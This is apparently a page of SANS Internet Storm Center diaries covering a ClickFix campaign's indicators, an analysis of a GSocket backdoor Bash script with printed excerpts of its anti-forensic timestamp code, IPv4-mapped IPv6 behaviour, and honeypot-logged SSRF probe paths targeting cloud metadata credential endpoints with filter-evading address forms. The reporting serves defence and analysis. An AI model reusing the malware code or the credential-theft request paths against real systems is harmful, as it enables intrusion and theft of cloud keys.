This is the first update to the TeamPCP supply chain campaign threat intelligence report, “When the Security Scanner Became the Weapon” (v3.0, March 25, 2026). That report covers the full campaign from the February 28 initial access through the March 24 LiteLLM PyPI compromise. This update covers developments since publication.
Tag Archives: Security
Apple Patches (almost) everything again. March 2026 edition., (Wed, Mar 25th)
Apple released the next version of its operating system, patching 85 different vulnerabilities across all of them. None of the vulnerabilities are currently being exploited. The last three macOS "generations" are covered, as are the last two versions of iOS/iPadOS. For tvOS, watchOS, and visionOS, only the current version received patches. This update also includes the recently released Background Security Improvements. Some older watchOS versions received updates, but these updates do not address any security issues.
SmartApeSG campaign pushes Remcos RAT, NetSupport RAT, StealC, and Sectop RAT (ArechClient2), (Wed, Mar 25th)
Introduction
This diary provides indicators from the SmartApeSG (ZPHP, HANEYMANEY) campaign I saw on Tuesday, 2026-03-24. SmartApeSG is one of many campaigns that use the ClickFix technique. This past week, I've seen NetSupport RAT as follow-up malware from Remcos RAT pushed by this campaign. But this time, I also saw indicators for StealC malware and Sectop RAT (ArecheClient2) after NetSupport RAT appeared on my infected lab host.
Not all of the follow-up malware appears shortly after the initial Remcos RAT malware. Here's the timeline for malware from my SmartApeSG activity on Tuesday 2026-03-24:
- 17:11 UTC – Ran ClickFix script from SmartApeSG fake CAPTCHA page
- 17:12 UTC – Remcos RAT post-infection traffic starts
- 17:16 UTC – NetSupport RAT post-infection traffic starts
- 18:18 UTC – StealC post-infection traffic starts
- 19:36 UTC – Sectop RAT post-infection traffic starts
While the NetSupport RAT activity happened approximately 4 minutes after the Remcos RAT activity, the StealC traffic didn't happen until approximately 1 hour after the NetSupport RAT activity started. And the traffic for Sectop RAT happened approximately 1 hour and 18 minutes after the StealC activity started.
Images from the infection

Shown above: Page from a legitimate but compromised website with injected script for the fake CAPTCHA page.

Shown above: Fake CAPTCHA page with ClickFix instructions. This image shows the malicious script injected into a user's clipboard.

Shown above: Traffic from the infection filtered in Wireshark.
Indicators of Compromise
Associated domains and IP addresses:
- fresicrto[.]top – Domain for server hosting fake CAPTCHA page
- urotypos[.]com – Called by ClickFix instructions, this domain is for a server hosting the initial malware
- 95.142.45[.]231:443 – Remcos RAT C2 server
- 185.163.47[.]220:443 – NetSupport RAT C2 server
- 89.46.38[.]100:80 – StealC C2 server
- 195.85.115[.]11:9000 – Sectop RAT (ArechClient2) C2 server
Example of HTA file retrieved by ClickFix script:
- SHA256 hash: 212d8007a7ce374d38949cf54d80133bd69338131670282008940f1995d7a720
- File size: 47,714 bytes
- File type: HTML document text, ASCII text, with very long lines (6272)
- Retrieved from: hxxps[:]//urotypos[.]com/cd/temp
- Saved location: C:Users[username]AppDataLocalpost.hta
- Note: ClickFix script deletes the file after retrieving and running it
Example of ZIP archive for Remcos RAT retrieved by the above HTA file:
- SHA256 hash: a6a748c0606fb9600fdf04763523b7da20b382b054b875fdd1ef1c36fc16079a
- File size: 85,328,653 bytes
- File type: Zip archive data, at least v2.0 to extract, compression method=deflate
- Retrieved from: hxxps://urotypos[.]com/ls/production
- Saved location: C:Users[username]AppDataLocal361118191361118191.pdf
ZIP archive containing NetSupport RAT package:
- SHA256 hash: 6e26ff49387088178319e116700b123d27216d98ba3ae1ce492544cb9acd38f0
- File size: 9,171,647 bytes
- File type: Zip archive data, at least v2.0 to extract, compression method=deflate
- File name: UpdateInstaller.zip
- Note: I created this zip archive from the extracted files under C:ProgramDataUpdateInstaller
RAR archive for StealC package:
- SHA256 hash: a7b9be1211c6de76bab31dbcd3a1c99861cf18e3230ea9f634e07d22c179d1ca
- File size: 6,178,471 bytes
- File type: RAR archive data, v5
- Saved location: C:UsersPublicMusicfinalmesh.zip
RAR archive for Sectop RAT (ArechClient2) package:
- SHA256 hash: c90435370728d48cba1c00d92cc3bf99e85f01aa52ecd6c6df2e8137db964796
- File size: 6,908,049 bytes
- File type: RAR archive data, v5
- Saved location: C:ProgramDatadrag2pdf.zip
Final words
The archive files for Remcos RAT, StealC and Sectop RAT are packages that use legitimate EXE files to side-load malicious DLLs (a technique called DLL side-loading). The NetSupport RAT package is a legitimate tool that's configured to use an attacker-controlled server.
As always, the files, URLs and domains for SmartApeSG activity change on a near-daily basis. And names of the HTA file and ZIP archive for Remcos RAT are different for each infection. The indicators described in this article may no longer be current as you read this. However, this activity confirms that the SmartApeSG campaign can push a variety of malware after an initial infection.
—
Bradley Duncan
brad [at] malware-traffic-analysis.net
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Detecting IP KVMs, (Tue, Mar 24th)
I have written about how to use IP KVMs securely, and recently, researchers at Eclypsium published yet another report on IP KVM vulnerabilities. But there is another issue I haven't mentioned yet with IP KVMs: rogue IP KVMs. IP KVMs are often used by criminals. For example, North Koreans used KVMs to connect remotely to laptops sent to them by their employers. The laptops were located in the US, and the North Korean workers used IP KVMs to remotely connect to them. IP KVMs could also be used to access office PCs, either to enable undetected "work from home" or by threat actors who use them to gain remote access after installing the device on site.
Tool updates: lots of security and logic fixes, (Mon, Mar 23rd)
So, I've been slow to get on the Claude Code/OpenCode/Codex/OpenClaw bandwagon, but I had some time last week so I asked Claude to review (/security-review) some of my python scripts. He found more than I'd like to admit, so I checked in a bunch of updates. In reviewing his suggestions, he was right, I made some stupid mistakes, some of which have been sitting in there for a long time. It was nothing earth-shattering and it took almost no time for Claude, it took longer for me to read through the updates he wanted to make, figure out what he was seeing, and decide whether to accept them or tweak them. Here are a few of them.
GSocket Backdoor Delivered Through Bash Script, (Fri, Mar 20th)
Yesterday, I discovered a malicious Bash script that installs a GSocket backdoor on the victim’s computer. I don’t know the source of the script not how it is delivered to the victim.
GSocket[] is a networking tool, but also a relay infrastructure, that enables direct, peer-to-peer–style communication between systems using a shared secret instead of IP addresses or open ports. It works by having both sides connect outbound to a global relay network. Tools like gs-netcat can provide remote shells, file transfer, or tunneling and bypass classic security controls. The script that I found uses a copy of gs-netcat but the way it implements persistence and anti-forensic techniques deserves a review.
A few weeks ago, I found a sample that used GSocket connectivity as a C2 channel. It makes me curious and I started to hunt for more samples. Bingo! The new one that I found (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286[2]) has been detected by only 17 antivirus solutions on VT. The script is not obfuscated and even has comments so I think that it was uploaded on VT for "testing" purposes by the developper (just a guess)
Let’s have a look at the techniques used. When you execute it in a sandbox, you see this:

Note the identification of the tool ("G-Socket Bypass Stealth") and the reference to "@bboscat"[3]
A GSocket client is downloaded, started and is talking to the following IP:

The malware implements persistence through different well-known techniques on Linux. First, a cron job is created:

Every top-hour, the disguised gs-netcat will be killed (if running) and restarted. To improve persistence, the same code is added to the victim's .profile:

The malware itself is copied in .ssh/putty and the GSocket shared secret stored in a fake SSH key file:

The ELF file id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) is the gs-netcat tool downloaded directly from the G-Socket CDN.
Ok, let’s have a look at an interesting anti-forensic technique implemented in the Bash script. File operations are not simply performed using classic commands like cp, rm, mv, etc. They are embedded in “helper” functions with a timestamp tracking/restoration system so the malware can later hide filesystem changes. Here is an example with a function that will create a file:
mk_file()
{
local fn
local oldest
local pdir
local pdir_added
fn="$1"
local exists
# DEBUGF "${CC}MK_FILE($fn)${CN}"
pdir="$(dirname "$fn")"
[[ -e "$fn" ]] && exists=1
ts_is_marked "$pdir" || {
# HERE: Parent not tracked
_ts_add "$pdir" "<NOT BY XMKDIR>"
pdir_added=1
}
ts_is_marked "$fn" || {
# HERE: Not yet tracked
_ts_get_ts "$fn"
# Do not add creation fails.
touch "$fn" 2>/dev/null || {
# HERE: Permission denied
[[ -n "$pdir_added" ]] && {
# Remove pdir if it was added above
# Bash <5.0 does not support arr[-1]
# Quote (") to silence shellcheck
unset "_ts_ts_a[${#_ts_ts_a[@]}-1]"
unset "_ts_fn_a[${#_ts_fn_a[@]}-1]"
unset "_ts_mkdir_fn_a[${#_ts_mkdir_fn_a[@]}-1]"
}
return 69 # False
}
[[ -z $exists ]] && chmod 600 "$fn"
_ts_ts_a+=("$_ts_ts")
_ts_fn_a+=("$fn");
_ts_mkdir_fn_a+=("<NOT BY XMKDIR>")
return
}
touch "$fn" 2>/dev/null || return
[[ -z $exists ]] && chmod 600 "$fn"
true
}
Here are also two interesting function:
# Restore timestamp of files
ts_restore()
{
local fn
local n
local ts
[[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; }
n=0
while :; do
[[ $n -eq "${#_ts_fn_a[@]}" ]] && break
ts="${_ts_ts_a[$n]}"
fn="${_ts_fn_a[$n]}"
# DEBUGF "RESTORE-TS ${fn} ${ts}"
((n++))
_ts_fix "$fn" "$ts"
done
unset _ts_fn_a
unset _ts_ts_a
n=0
while :; do
[[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break
ts="${_ts_systemd_ts_a[$n]}"
fn="${_ts_systemd_fn_a[$n]}"
# DEBUGF "RESTORE-LAST-TS ${fn} ${ts}"
((n++))
_ts_fix "$fn" "$ts" "symlink"
done
unset _ts_systemd_fn_a
unset _ts_systemd_ts_a
}
ts_is_marked()
{
local fn
local a
fn="$1"
for a in "${_ts_fn_a[@]}"; do
[[ "$a" = "$fn" ]] && return 0 # True
done
return 1 # False
}
ts_is_marked() checks whether a file/directory is already registered for timestamp restoration, preventing duplicate tracking and ensuring the script’s anti-forensic timestamp manipulation works correctly. I asked ChatGPT to generate a graph that explains this technique:

Finally, because it’s fully based on Bash, the script will infect all UNIX flavors, MacOS included:
[[ -z "$OSTYPE" ]] && {
local osname
osname="$(uname -s)"
if [[ "$osname" == *FreeBSD* ]]; then
OSTYPE="FreeBSD"
elif [[ "$osname" == *Darwin* ]]; then
OSTYPE="darwin22.0"
elif [[ "$osname" == *OpenBSD* ]]; then
OSTYPE="openbsd7.3"
elif [[ "$osname" == *Linux* ]]; then
OSTYPE="linux-gnu"
fi
}
[1]
[2] https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetry
[3] https://zone-xsec.com/archive/attacker/%40bboscat
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Interesting Message Stored in Cowrie Logs, (Wed, Mar 18th)
This activity was found and reported by BACS student Adam Thorman as part of one of his assignments which I posted his final paper [1] last week. This activity appeared to only have occurred on the 19 Feb 2026 where at least 2 sensors detected on the same day by DShield sensor in the cowrie logs an echo command that included: "MAGIC_PAYLOAD_KILLER_HERE_OR_LEAVE_EMPTY_iranbot_was_here". My DShield sensor captured activity from source IP 64.89.161.198 between 30 Jan – 22 Feb 2026 that included portscans, a successful login via Telnet (TCP/23) and web access that included all the activity listed below captured by the DShield sensor (cowrie, webhoneypot & iptables logs).
Scans for "adminer", (Wed, Mar 18th)
A very popular target of attackers scanning our honeypots is "phpmyadmin". phpMyAdmin is a script first released in the late 90s, before many security concepts had been discovered. It's rich history of vulnerabilities made it a favorite target. Its alternative, "adminer", began appearing about a decade later (https://www.adminer.org). One of its main "selling" points was simplicity. Adminer is just a single PHP file. It requires no configuration. Copy it to your server, and you are ready to go. "adminer" has a much better security record and claims to prioritize security in its development.
IPv4 Mapped IPv6 Addresses, (Tue, Mar 17th)
Yesterday, in my diary about the scans for "/proxy/" URLs, I noted how attackers are using IPv4-mapped IPv6 addresses to possibly obfuscate their attack. These addresses are defined in RFC 4038. These addresses are one of the many transition mechanisms used to retain some backward compatibility as IPv6 is deployed. Many modern applications use IPv6-only networking code. IPv4-mapped IPv6 addresses can be used to represent IPv4 addresses in these cases. IPv4-mapped IPv6 addresses are not used on the network, but instead, translated to IPv4 before a packet is sent.
To map an IPv4 address into IPv6, the prefix "::ffff:/96" is used. This leaves the last 32 bits to represent the IPv4 address. For example, "10.5.2.1" turns into "::ffff:0a05:0201". Many applications display the last 4 bytes in decimal format to make it easier to read. For example, you will see "::ffff:10.5.2.1".
If IPv4-mapped IPv6 addresses can be used depends on the particular application. Here are a few examples, but feel free to experiment yourself:
ping6 on macOS:
% ping6 ::ffff:0a05:0201
PING6(56=40+8+8 bytes) ::ffff:10.5.2.147 --> ::ffff:10.5.2.1
ping6: sendmsg: Invalid argument
ping6: wrote ::ffff:0a05:0201 16 chars, ret=-1
Note that ping6 displays the IPv4 address in decimal format but refuses to send any packets, since they would be IPv4 packets, not IPv6.
% ping ::ffff:0a05:0201
ping: cannot resolve ::ffff:0a05:0201: Unknown host
Regular IPv4 ping fails to recognize the format for an IP address, and instead interprets it as a hostname, which fails.
ping6 on Linux does not return an error. It just appears to "hang," and no packets are emitted. Running strace shows:
sendto(3, "200{2634i:271i(20062021222324252627"..., 64, 0, {sa_family=AF_INET6, sin6_port=htons(58), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "::ffff:10.5.2.1", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
recvmsg(3, {msg_namelen=28}, MSG_DONTWAIT|MSG_ERRQUEUE) = -1 EAGAIN (Resource temporarily unavailable)
It attempts to set up an IPv6 connection based on the "AF_INET6" argument in the inet_pton call, but this fails for the mapped IPv4 address.
ssh, on the other hand (on MacOS and Linux) works just fine:
$ ssh ::ffff:0a05:0201 -p 11460
The authenticity of host '[::ffff:10.5.2.1]:11460 ([::ffff:10.5.2.1]:11460)' can't be established.
The traffic is sent properly as IPv4 traffic.
curl is kind of interesting in that it uses the IPv4-mapped IPv6 address as a host header:
$ curl -i http://[::ffff:0a80:010b]
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 17 Mar 2026 11:32:10 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://[::ffff:0a80:010b]/
I tried a couple of different web servers, and they all acted the same way. Browsers like Safari and Chrome could also use these addresses. In browsers, it may be possible to evade some filters by using IPv4-mapped IPv6 addresses when simple string matching is used. Note how in URLs the IPv6 address must be enclosed in square brackets to avoid "colon confusion".
Any ideas what else to test or how to possibly use or abuse these addresses? Remember that on the network, you will end up with normal IPv4 traffic, not IPv6 traffic using IPv4-mapped IPv6 addresses.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
/proxy/ URL scans with IP addresses, (Mon, Mar 16th)
Attempts to find proxy servers are among the most common scans our honeypots detect. Most of the time, the attacker attempts to use a host header or include the hostname in the URL to trigger the proxy server forwarding the request. In some cases, common URL prefixes like "/proxy/" are used. This weekend, I noticed a slightly different pattern in our logs:
| First Seen | Last Seen | Count | Path |
|---|---|---|---|
| 2026-03-15 | 2026-03-16 | 2 | /proxy/http:/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/http:/169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/absolute/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/absolute/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/absolute/169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ |
| 2026-03-15 | 2026-03-16 | 2 | /proxy/169.254.169.254/latest/dynamic/instance-identity/document |
| 2026-03-16 | 2026-03-16 | 1 | /proxy/2852039166/latest/meta-data/iam/security-credentials/ |
The intent of these requests is to reach the cloud metadata service, which is typically listening on 169.254.169.254, a non-routable link-local address. The "security-credentials" directory should list entities with access to the service, and can then lead to requests for key material used for authentication.
The attacker does not just use the IPv4 address, but attempts to bypasspass some filters by using the IPv4 mapped IPv6 address. The prefix ::ffff/96, followed by the IPv4 address, is used to express IPv4 addresses in IPv6. Note that these addresses are not intended to be routable, but just like 169.254.169.254 they may work on the host itself. In addition, the attacker is used the "less apprviated" form by specifying the first few bytes with 0:0:0:0. Finally, the long unsigned integer form of the IP address is used.
The meta data service is often exploited using SSRF vulenrabilities. However, the more modern "version 2" of the meta data service is attempting to prevent simple SSRF attacks by requiring two requests with different methods and specific custom headers. SSRF vulnerabilities are just like a less functional open proxy. In this case, the attacker assumes a full proxy, and an attack may not be prevented by the more modern meta data service implementation.
Modern web applications use proxies in many different forms. For example you may have API gateways, load balancers, web application firewalls or even still some proxies to bypass CORS constraints. Any of these cases is potentially vulenrable if badly configured. The above list of URLs may make a good starting point to test the implementation of your proxy.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.